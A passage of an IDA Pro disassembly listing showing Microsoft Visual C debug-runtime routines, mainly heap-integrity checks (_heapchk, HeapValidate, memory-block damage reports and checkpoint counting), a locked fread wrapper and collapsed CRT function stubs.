		int	3		; Trap to Debugger

loc_41DDB3:				; CODE XREF: sub_41DCB0+BEj
					; sub_41DCB0+C7j ...
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41DD60
		mov	eax, [ebp+var_20]
		cmp	dword ptr [eax+14h], 2
		jnz	short loc_41DDCF
		cmp	[ebp+arg_4], 1
		jnz	short loc_41DDCF
		mov	[ebp+arg_4], 2

loc_41DDCF:				; CODE XREF: sub_41DCB0+110j
					; sub_41DCB0+116j
		mov	ecx, [ebp+var_20]
		cmp	dword ptr [ecx+14h], 3
		jz	short loc_41DE0A

loc_41DDD8:				; CODE XREF: sub_41DCB0+158j
		mov	edx, [ebp+var_20]
		mov	eax, [edx+14h]
		cmp	eax, [ebp+arg_4]
		jz	short loc_41DE04
		push	offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse"
		push	0		; int
		push	4B6h		; Value
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2		; int
		call	__CrtDbgReport
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41DE04
		int	3		; Trap to Debugger

loc_41DE04:				; CODE XREF: sub_41DCB0+131j
					; sub_41DCB0+151j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41DDD8

loc_41DE0A:				; CODE XREF: sub_41DCB0+126j
		mov	edx, [ebp+var_20]
		mov	eax, [edx+10h]
		mov	[ebp+var_1C], eax
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_41DE21
		jmp	short loc_41DE2C
sub_41DCB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DE21	proc near		; CODE XREF: sub_41DCB0+16Ap
					; DATA XREF: .rdata:0043D928o
		push	9
		call	__unlock
		add	esp, 4
		retn
sub_41DE21	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41DCB0

loc_41DE2C:				; CODE XREF: sub_41DCB0+16Fj
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_41DCB0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_452A08
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	dword_452A08, ecx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
; [000000BD BYTES: COLLAPSED FUNCTION __CrtSetDbgBlockType. PRESS KEYPAD "+" TO	EXPAND]
; [0000000B BYTES: COLLAPSED FUNCTION sub_41DF1D. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [00000011 BYTES: COLLAPSED CHUNK OF FUNCTION __CrtSetDbgBlockType. PRESS KEYPAD "+" TO EXPAND]
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, off_452DD0
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	off_452DD0, ecx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
; [00000088 BYTES: COLLAPSED FUNCTION _CheckBytes. PRESS KEYPAD	"+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DFF0	proc near		; CODE XREF: __heap_alloc_dbg:loc_41CDBCp
					; _realloc_help:loc_41D272p ...

var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0041E370 SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43DAB8
		push	offset unknown_libname_3 ; Microsoft VisualC 2-8/net runtime
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_452A00
		and	eax, 1
		test	eax, eax
		jnz	short loc_41E029
		mov	eax, 1
		jmp	loc_41E373
; ---------------------------------------------------------------------------

loc_41E029:				; CODE XREF: sub_41DFF0+2Dj
		push	9
		call	__lock
		add	esp, 4
		mov	[ebp+var_4], 0
		call	unknown_libname_6 ; Microsoft VisualC 2-8/net runtime
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0FFFFFFFFh
		jz	loc_41E14E
		cmp	[ebp+var_24], 0FFFFFFFEh
		jz	loc_41E14E
		mov	ecx, [ebp+var_24]
		mov	[ebp+var_30], ecx
		mov	edx, [ebp+var_30]
		add	edx, 6
		mov	[ebp+var_30], edx
		cmp	[ebp+var_30], 3
		ja	loc_41E11C
		mov	eax, [ebp+var_30]
		jmp	ds:off_41E384[eax*4]

loc_41E079:				; CODE XREF: sub_41DFF0+ADj
					; DATA XREF: .text:0041E390o
		push	offset a_heapchkFailsW ; "_heapchk fails with _HEAPBADBEGIN.\n"
		push	offset aS_33	; "%s"
		push	0		; int
		push	0		; Value
		push	0		; int
		push	0		; int
		call	__CrtDbgReport
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41E099
		int	3		; Trap to Debugger

loc_41E099:				; CODE XREF: sub_41DFF0+A6j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41E079
		jmp	loc_41E142
; ---------------------------------------------------------------------------

loc_41E0A4:				; CODE XREF: sub_41DFF0+82j
					; sub_41DFF0+D8j
					; DATA XREF: ...
		push	offset a_heapchkFail_0 ; "_heapchk fails with _HEAPBADNODE.\n"
		push	offset aS_33	; "%s"
		push	0		; int
		push	0		; Value
		push	0		; int
		push	0		; int
		call	__CrtDbgReport
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41E0C4
		int	3		; Trap to Debugger

loc_41E0C4:				; CODE XREF: sub_41DFF0+D1j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41E0A4
		jmp	short loc_41E142
; ---------------------------------------------------------------------------

loc_41E0CC:				; CODE XREF: sub_41DFF0+82j
					; sub_41DFF0+100j
					; DATA XREF: ...
		push	offset a_heapchkFail_1 ; "_heapchk fails with _HEAPBADEND.\n"
		push	offset aS_33	; "%s"
		push	0		; int
		push	0		; Value
		push	0		; int
		push	0		; int
		call	__CrtDbgReport
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41E0EC
		int	3		; Trap to Debugger

loc_41E0EC:				; CODE XREF: sub_41DFF0+F9j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41E0CC
		jmp	short loc_41E142
; ---------------------------------------------------------------------------

loc_41E0F4:				; CODE XREF: sub_41DFF0+82j
					; sub_41DFF0+128j
					; DATA XREF: ...
		push	offset a_heapchkFail_2 ; "_heapchk fails with _HEAPBADPTR.\n"
		push	offset aS_33	; "%s"
		push	0		; int
		push	0		; Value
		push	0		; int
		push	0		; int
		call	__CrtDbgReport
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41E114
		int	3		; Trap to Debugger

loc_41E114:				; CODE XREF: sub_41DFF0+121j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41E0F4
		jmp	short loc_41E142
; ---------------------------------------------------------------------------

loc_41E11C:				; CODE XREF: sub_41DFF0+79j
					; sub_41DFF0+150j
		push	offset a_heapchkFail_3 ; "_heapchk fails with unknown return valu"...
		push	offset aS_33	; "%s"
		push	0		; int
		push	0		; Value
		push	0		; int
		push	0		; int
		call	__CrtDbgReport
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41E13C
		int	3		; Trap to Debugger

loc_41E13C:				; CODE XREF: sub_41DFF0+149j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41E11C

loc_41E142:				; CODE XREF: sub_41DFF0+AFj
					; sub_41DFF0+DAj ...
		mov	[ebp+var_1C], 0
		jmp	loc_41E357
; ---------------------------------------------------------------------------

loc_41E14E:				; CODE XREF: sub_41DFF0+56j
					; sub_41DFF0+60j
		mov	[ebp+var_1C], 1
		mov	eax, dword_4F4768
		mov	[ebp+var_20], eax
		jmp	short loc_41E167
; ---------------------------------------------------------------------------

loc_41E15F:				; CODE XREF: sub_41DFF0:loc_41E352j
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx]
		mov	[ebp+var_20], edx

loc_41E167:				; CODE XREF: sub_41DFF0+16Dj
		cmp	[ebp+var_20], 0
		jz	loc_41E357
		mov	[ebp+var_28], 1
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		cmp	ecx, 4
		jz	short loc_41E1AC
		mov	edx, [ebp+var_20]
		cmp	dword ptr [edx+14h], 1
		jz	short loc_41E1AC
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		cmp	ecx, 2
		jz	short loc_41E1AC
		mov	edx, [ebp+var_20]
		cmp	dword ptr [edx+14h], 3
		jnz	short loc_41E1C4

loc_41E1AC:				; CODE XREF: sub_41DFF0+197j
					; sub_41DFF0+1A0j ...
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		mov	edx, off_452A10[ecx*4]
		mov	dword ptr [ebp+var_2C],	edx
		jmp	short loc_41E1CB
; ---------------------------------------------------------------------------

loc_41E1C4:				; CODE XREF: sub_41DFF0+1BAj
		mov	dword ptr [ebp+var_2C],	offset aDamaged	; "DAMAGED"

loc_41E1CB:				; CODE XREF: sub_41DFF0+1D2j
		push	4
		mov	al, byte_452A0C
		push	eax
		mov	ecx, [ebp+var_20]
		add	ecx, 1Ch
		push	ecx
		call	_CheckBytes
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41E220

loc_41E1E6:				; CODE XREF: sub_41DFF0+227j
		mov	edx, [ebp+var_20]
		add	edx, 20h
		push	edx
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+18h]
		push	ecx
		mov	edx, dword ptr [ebp+var_2C]
		push	edx		; char
		push	offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"...
		push	0		; int
		push	0		; Value
		push	0		; int
		push	0		; int
		call	__CrtDbgReport
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_41E213
		int	3		; Trap to Debugger

loc_41E213:				; CODE XREF: sub_41DFF0+220j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41E1E6
		mov	[ebp+var_28], 0

loc_41E220:				; CODE XREF: sub_41DFF0+1F4j
		push	4
		mov	cl, byte_452A0C
		push	ecx
		mov	edx, [ebp+var_20]
		mov	eax, [edx+10h]
		mov	ecx, [ebp+var_20]
		lea	edx, [ecx+eax+20h]
		push	edx
		call	_CheckBytes
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41E27D

loc_41E243:				; CODE XREF: sub_41DFF0+284j
		mov	eax, [ebp+var_20]
		add	eax, 20h
		push	eax
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+18h]
		push	edx
		mov	eax, dword ptr [ebp+var_2C]
		push	eax		; char
		push	offset aDamageAfterHsB ; "DAMAGE: after	%hs block (#%d)	at 0x%08X"...
		push	0		; int
		push	0		; Value
		push	0		; int
		push	0		; int
		call	__CrtDbgReport
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_41E270
		int	3		; Trap to Debugger

loc_41E270:				; CODE XREF: sub_41DFF0+27Dj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41E243
		mov	[ebp+var_28], 0

loc_41E27D:				; CODE XREF: sub_41DFF0+251j
		mov	edx, [ebp+var_20]
		cmp	dword ptr [edx+14h], 0
		jnz	short loc_41E2D6
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+10h]
		push	ecx
		mov	dl, byte_452A0D
		push	edx
		mov	eax, [ebp+var_20]
		add	eax, 20h
		push	eax
		call	_CheckBytes
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41E2D6

loc_41E2A7:				; CODE XREF: sub_41DFF0+2DDj
		mov	ecx, [ebp+var_20]
		add	ecx, 20h
		push	ecx		; char
		push	offset aDamageOnTopOfF ; "DAMAGE: on top of Free block at 0x%08X."...
		push	0		; int
		push	0		; Value
		push	0		; int
		push	0		; int
		call	__CrtDbgReport
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41E2C9
		int	3		; Trap to Debugger

loc_41E2C9:				; CODE XREF: sub_41DFF0+2D6j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41E2A7
		mov	[ebp+var_28], 0

loc_41E2D6:				; CODE XREF: sub_41DFF0+294j
					; sub_41DFF0+2B5j
		cmp	[ebp+var_28], 0
		jnz	short loc_41E352
		mov	eax, [ebp+var_20]
		cmp	dword ptr [eax+8], 0
		jz	short loc_41E318

loc_41E2E5:				; CODE XREF: sub_41DFF0+326j
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+0Ch]
		push	edx
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+8]
		push	ecx
		mov	edx, dword ptr [ebp+var_2C]
		push	edx		; char
		push	offset aHsAllocatedAtF ; "%hs allocated	at file	%hs(%d).\n"
		push	0		; int
		push	0		; Value
		push	0		; int
		push	0		; int
		call	__CrtDbgReport
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_41E312
		int	3		; Trap to Debugger

loc_41E312:				; CODE XREF: sub_41DFF0+31Fj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41E2E5

loc_41E318:				; CODE XREF: sub_41DFF0+2F3j
					; sub_41DFF0+359j
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+10h]
		push	edx
		mov	eax, [ebp+var_20]
		add	eax, 20h
		push	eax
		mov	ecx, dword ptr [ebp+var_2C]
		push	ecx		; char
		push	offset aHsLocatedAt0x0 ; "%hs located at 0x%08X	is %u bytes long."...
		push	0		; int
		push	0		; Value
		push	0		; int
		push	0		; int
		call	__CrtDbgReport
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_41E345
		int	3		; Trap to Debugger

loc_41E345:				; CODE XREF: sub_41DFF0+352j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41E318
		mov	[ebp+var_1C], 0

loc_41E352:				; CODE XREF: sub_41DFF0+2EAj
		jmp	loc_41E15F
; ---------------------------------------------------------------------------

loc_41E357:				; CODE XREF: sub_41DFF0+159j
					; sub_41DFF0+17Bj
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_41E365
		jmp	short loc_41E370
sub_41DFF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E365	proc near		; CODE XREF: sub_41DFF0+36Ep
					; DATA XREF: .rdata:0043DAC0o
		push	9
		call	__unlock
		add	esp, 4
		retn
sub_41E365	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41DFF0

loc_41E370:				; CODE XREF: sub_41DFF0+373j
		mov	eax, [ebp+var_1C]

loc_41E373:				; CODE XREF: sub_41DFF0+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_41DFF0
; ---------------------------------------------------------------------------
off_41E384	dd offset loc_41E0F4	; DATA XREF: sub_41DFF0+82r
		dd offset loc_41E0CC
		dd offset loc_41E0A4
		dd offset loc_41E079
		align 10h
; [00000022 BYTES: COLLAPSED FUNCTION __CrtSetDbgFlag. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [0000008D BYTES: COLLAPSED FUNCTION __CrtDoForAllClientObjects. PRESS	KEYPAD "+" TO EXPAND]
; [0000000B BYTES: COLLAPSED FUNCTION sub_41E45D. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [00000011 BYTES: COLLAPSED CHUNK OF FUNCTION __CrtDoForAllClientObjects. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [0000004B BYTES: COLLAPSED FUNCTION __CrtIsValidPointer. PRESS KEYPAD	"+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E4D0	proc near		; CODE XREF: _realloc_help+1AAp
					; sub_41D8A0+9Cp ...

var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	[ebp+arg_0], 0
		jnz	short loc_41E4E3
		xor	eax, eax
		jmp	loc_41E5F0
; ---------------------------------------------------------------------------

loc_41E4E3:				; CODE XREF: sub_41E4D0+Aj
		push	1
		push	20h
		mov	eax, [ebp+arg_0]
		sub	eax, 20h
		push	eax
		call	__CrtIsValidPointer
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41E501
		xor	eax, eax
		jmp	loc_41E5F0
; ---------------------------------------------------------------------------

loc_41E501:				; CODE XREF: sub_41E4D0+28j
		cmp	dword_4F4E6C, 3
		jnz	short loc_41E56E
		mov	ecx, [ebp+arg_0]
		sub	ecx, 20h
		push	ecx
		call	___sbh_find_block
		add	esp, 4
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41E53A
		mov	edx, [ebp+arg_0]
		sub	edx, 20h
		push	edx
		mov	eax, [ebp+var_4]
		push	eax
		call	___sbh_verify_block
		add	esp, 8
		jmp	loc_41E5F0
; ---------------------------------------------------------------------------

loc_41E53A:				; CODE XREF: sub_41E4D0+50j
		mov	ecx, dword_4F4778
		and	ecx, 8000h
		test	ecx, ecx
		jz	short loc_41E554
		mov	eax, 1
		jmp	loc_41E5F0
; ---------------------------------------------------------------------------

loc_41E554:				; CODE XREF: sub_41E4D0+78j
		mov	edx, [ebp+arg_0]
		sub	edx, 20h
		push	edx
		push	0
		mov	eax, dword_4F4E68
		push	eax
		call	ds:dword_4F64A8	; HeapValidate
		jmp	loc_41E5F0
; ---------------------------------------------------------------------------

loc_41E56E:				; CODE XREF: sub_41E4D0+38j
		cmp	dword_4F4E6C, 2
		jnz	short loc_41E5DA
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	edx, [ebp+var_10]
		push	edx
		mov	eax, [ebp+arg_0]
		sub	eax, 20h
		push	eax
		call	___sbh_find_block_0
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_41E5AD
		mov	ecx, [ebp+var_C]
		xor	edx, edx
		mov	dl, [ecx]
		test	edx, edx
		jz	short loc_41E5A9
		mov	eax, 1
		jmp	short loc_41E5F0
; ---------------------------------------------------------------------------

loc_41E5A9:				; CODE XREF: sub_41E4D0+D0j
		xor	eax, eax
		jmp	short loc_41E5F0
; ---------------------------------------------------------------------------

loc_41E5AD:				; CODE XREF: sub_41E4D0+C5j
		mov	eax, dword_4F4778
		and	eax, 8000h
		test	eax, eax
		jz	short loc_41E5C2
		mov	eax, 1
		jmp	short loc_41E5F0
; ---------------------------------------------------------------------------

loc_41E5C2:				; CODE XREF: sub_41E4D0+E9j
		mov	ecx, [ebp+arg_0]
		sub	ecx, 20h
		push	ecx
		push	0
		mov	edx, dword_4F4E68
		push	edx
		call	ds:dword_4F64A8	; HeapValidate
		jmp	short loc_41E5F0
; ---------------------------------------------------------------------------

loc_41E5DA:				; CODE XREF: sub_41E4D0+A5j
		mov	eax, [ebp+arg_0]
		sub	eax, 20h
		push	eax
		push	0
		mov	ecx, dword_4F4E68
		push	ecx
		call	ds:dword_4F64A8	; HeapValidate

loc_41E5F0:				; CODE XREF: sub_41E4D0+Ej
					; sub_41E4D0+2Cj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_41E4D0	endp

; ---------------------------------------------------------------------------
		align 10h
; [00000106 BYTES: COLLAPSED FUNCTION __CrtIsMemoryBlock. PRESS	KEYPAD "+" TO EXPAND]
; [0000000B BYTES: COLLAPSED FUNCTION sub_41E706. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [00000014 BYTES: COLLAPSED CHUNK OF FUNCTION __CrtIsMemoryBlock. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4F5EB8
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	dword_4F5EB8, ecx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E750	proc near		; CODE XREF: __CrtDumpMemoryLeaks+Dp

var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 0041E8E3 SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43DB30
		push	offset unknown_libname_3 ; Microsoft VisualC 2-8/net runtime
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_0], 0
		jnz	short loc_41E7A4

loc_41E779:				; CODE XREF: sub_41E750+4Dj
		push	offset a_crtmemcheckpo ; "_CrtMemCheckPoint: NULL state	pointer.\n"...
		push	offset aS_33	; "%s"
		push	0		; int
		push	0		; Value
		push	0		; int
		push	0		; int
		call	__CrtDbgReport
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41E799
		int	3		; Trap to Debugger

loc_41E799:				; CODE XREF: sub_41E750+46j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41E779
		jmp	loc_41E8E3
; ---------------------------------------------------------------------------

loc_41E7A4:				; CODE XREF: sub_41E750+27j
		push	9
		call	__lock
		add	esp, 4
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+arg_0]
		mov	edx, dword_4F4768
		mov	[ecx], edx
		mov	[ebp+var_1C], 0
		jmp	short loc_41E7D2
; ---------------------------------------------------------------------------

loc_41E7C9:				; CODE XREF: sub_41E750+A4j
		mov	eax, [ebp+var_1C]
		add	eax, 1
		mov	[ebp+var_1C], eax

loc_41E7D2:				; CODE XREF: sub_41E750+77j
		cmp	[ebp+var_1C], 5
		jge	short loc_41E7F6
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+ecx*4+18h], 0
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+eax*4+4], 0
		jmp	short loc_41E7C9
; ---------------------------------------------------------------------------

loc_41E7F6:				; CODE XREF: sub_41E750+86j
		mov	edx, dword_4F4768
		mov	dword ptr [ebp+var_20],	edx
		jmp	short loc_41E809
; ---------------------------------------------------------------------------

loc_41E801:				; CODE XREF: sub_41E750:loc_41E8ADj
		mov	eax, dword ptr [ebp+var_20]
		mov	ecx, [eax]
		mov	dword ptr [ebp+var_20],	ecx

loc_41E809:				; CODE XREF: sub_41E750+AFj
		cmp	dword ptr [ebp+var_20],	0
		jz	loc_41E8B2
		mov	edx, dword ptr [ebp+var_20]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		test	eax, eax
		jl	short loc_41E888
		mov	ecx, dword ptr [ebp+var_20]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		cmp	edx, 5
		jge	short loc_41E888
		mov	eax, dword ptr [ebp+var_20]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx*4+4]
		add	eax, 1
		mov	ecx, dword ptr [ebp+var_20]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		mov	ecx, [ebp+arg_0]
		mov	[ecx+edx*4+4], eax
		mov	edx, dword ptr [ebp+var_20]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+eax*4+18h]
		mov	eax, dword ptr [ebp+var_20]
		add	edx, [eax+10h]
		mov	ecx, dword ptr [ebp+var_20]
		mov	eax, [ecx+14h]
		and	eax, 0FFFFh
		mov	ecx, [ebp+arg_0]
		mov	[ecx+eax*4+18h], edx
		jmp	short loc_41E8AD
; ---------------------------------------------------------------------------

loc_41E888:				; CODE XREF: sub_41E750+D0j
					; sub_41E750+E1j ...
		mov	edx, dword ptr [ebp+var_20]
		push	edx		; char
		push	offset aBadMemoryBlock ; "Bad memory block found at 0x%08X.\n"
		push	0		; int
		push	0		; Value
		push	0		; int
		push	0		; int
		call	__CrtDbgReport
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41E8A7
		int	3		; Trap to Debugger

loc_41E8A7:				; CODE XREF: sub_41E750+154j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41E888

loc_41E8AD:				; CODE XREF: sub_41E750+136j
		jmp	loc_41E801
; ---------------------------------------------------------------------------

loc_41E8B2:				; CODE XREF: sub_41E750+BDj
		mov	ecx, [ebp+arg_0]
		mov	edx, dword_4F4770
		mov	[ecx+2Ch], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, dword_4F4764
		mov	[eax+30h], ecx
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_41E8D8
		jmp	short loc_41E8E3
sub_41E750	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E8D8	proc near		; CODE XREF: sub_41E750+181p
					; DATA XREF: .rdata:0043DB38o
		push	9
		call	__unlock
		add	esp, 4
		retn
sub_41E8D8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41E750

loc_41E8E3:				; CODE XREF: sub_41E750+4Fj
					; sub_41E750+186j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_41E750
; ---------------------------------------------------------------------------
		align 10h
; [00000123 BYTES: COLLAPSED FUNCTION __CrtMemDifference. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [000002B1 BYTES: COLLAPSED FUNCTION __CrtMemDumpAllObjectsSince. PRESS KEYPAD	"+" TO EXPAND]
; [0000000B BYTES: COLLAPSED FUNCTION sub_41ECE1. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [00000037 BYTES: COLLAPSED CHUNK OF FUNCTION __CrtMemDumpAllObjectsSince. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000114 BYTES: COLLAPSED FUNCTION __printMemBlockData. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000074 BYTES: COLLAPSED FUNCTION __CrtDumpMemoryLeaks. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [000000C5 BYTES: COLLAPSED FUNCTION __CrtMemDumpStatistics. PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41EFA0(void *DstBuf,size_t ElementSize,size_t	Count,FILE *File)

sub_41EFA0	proc near		; CODE XREF: sub_4010AB+45p
					; sub_40FAEE+4Ep ...

var_4		= dword	ptr -4
DstBuf		= dword	ptr  8
ElementSize	= dword	ptr  0Ch
Count		= dword	ptr  10h
File		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+File]
		push	eax
		call	__lock_file
		add	esp, 4
		mov	ecx, [ebp+File]
		push	ecx		; File
		mov	edx, [ebp+Count]
		push	edx		; Count
		mov	eax, [ebp+ElementSize]
		push	eax		; ElementSize
		mov	ecx, [ebp+DstBuf]
		push	ecx		; DstBuf
		call	_fread
		add	esp, 10h
		mov	[ebp+var_4], eax
		mov	edx, [ebp+File]
		push	edx
		call	__unlock_file
		add	esp, 4
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_41EFA0	endp

; ---------------------------------------------------------------------------
		align 10h
; [000001CF BYTES: COLLAPSED FUNCTION _fread. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000FC BYTES: COLLAPSED FUNCTION __fsopen.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000017 BYTES: COLLAPSED FUNCTION _fopen. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000058 BYTES: COLLAPSED FUNCTION _memset. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [000000FE BYTES: COLLAPSED FUNCTION _strncpy.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000FF BYTES: COLLAPSED FUNCTION _atol. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000011 BYTES: COLLAPSED FUNCTION _atoi. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000129 BYTES: COLLAPSED FUNCTION __atoi64.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000038 BYTES: COLLAPSED FUNCTION __cinit. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000015 BYTES: COLLAPSED FUNCTION _exit. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000015 BYTES: COLLAPSED FUNCTION __exit. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000013 BYTES: COLLAPSED FUNCTION __cexit. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000013 BYTES: COLLAPSED FUNCTION __c_exit.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000E3 BYTES: COLLAPSED FUNCTION _doexit. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [0000000F BYTES: COLLAPSED FUNCTION __lockexit. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [0000000F BYTES: COLLAPSED FUNCTION __unlockexit. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
